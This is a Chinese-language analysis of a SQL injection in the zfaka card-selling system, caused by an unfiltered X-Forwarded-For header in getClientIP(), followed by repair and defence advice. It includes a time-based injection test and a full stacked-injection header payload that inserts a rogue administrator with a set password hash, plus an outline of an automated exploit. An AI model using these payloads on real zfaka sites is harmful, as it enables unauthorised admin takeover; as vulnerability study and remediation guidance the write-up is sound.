zfaka sql注入分析
字数 1009 2025-08-05 08:19:32
zfaka SQL注入漏洞分析与利用教学
漏洞概述
zfaka是一款开源的发卡系统,在2021年7月11日之前版本中存在SQL注入漏洞。该漏洞位于IP地址获取功能中,由于对X-Forwarded-For等HTTP头处理不当,导致攻击者可通过构造恶意HTTP头实现SQL注入,甚至执行任意SQL语句(包括堆叠注入)。
漏洞位置
漏洞主要存在于以下文件中:
application/function/F_Network.php- 存在问题的IP获取函数application/modules/Product/controllers/Query.php- 漏洞触发点
漏洞分析
1. 问题函数分析
getClientIP()函数位于application/function/F_Network.php中,该函数用于获取客户端真实IP地址。问题在于:
- 函数遍历XFF等header头获取IP
- 获取XFF后仅根据逗号截断获取第一个值
- 未对获取的IP进行任何过滤或转义
2. 漏洞触发流程
- 用户访问订单查询功能(
product/query/) - 系统调用
getClientIP()获取客户端IP - 获取的IP值直接拼接到SQL查询中
- 构造恶意XFF头可注入SQL语句
3. SQL注入点
在application/modules/Product/controllers/Query.php第151行,存在如下查询:
$order = $this->model->where('orderid', $orderid)
->where('isdelete', 0)
->where('ip', getClientIP())
->orderBy('id', 'desc')
->select();
最终生成的SQL语句类似:
SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = "用户控制的输入"
漏洞利用
1. 基本注入测试
通过修改X-Forwarded-For头可进行注入测试:
X-Forwarded-For: "or sleep(2)-- x
生成的SQL语句:
SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = ""or sleep(2)-- x" AND addtime>=1624844145 ORDER BY `id` desc
2. 堆叠注入利用
该漏洞支持堆叠注入,可以执行多条SQL语句。示例利用脚本关键部分:
headers['X-Forwarded-For'] = '1111";insert into t_admin_user(`id`) values (\'{RandomNum}\');UPDATE t_admin_user SET `email`=\'{EMAIL}\' WHERE id = \'{RandomNum}\' ;UPDATE t_admin_user SET `password`=\'76b1807fc1c914f15588520b0833fbc3\' WHERE id = \'{RandomNum}\';UPDATE t_admin_user SET `secret`=\'78e055\' WHERE id = \'{RandomNum}\'#'
3. 自动化利用脚本
完整利用流程:
- 获取CSRF_TOKEN和session
- 获取验证码(需要人工输入)
- 构造恶意XFF头添加管理员
- 使用添加的管理员账户登录
漏洞修复
官方修复方案:
- 对获取的IP地址进行严格验证
- 使用参数化查询或预处理语句
- 过滤特殊字符
防御建议
- 对所有用户输入进行严格过滤和验证
- 使用预处理语句或ORM框架
- 最小化数据库用户权限
- 更新到最新版本
总结
该漏洞展示了常见的安全问题:
- 未过滤的用户输入直接用于SQL查询
- 过度信任HTTP头信息
- 缺乏参数化查询
通过此案例,开发者应更加重视输入验证和安全编码实践,特别是在处理用户可控数据时。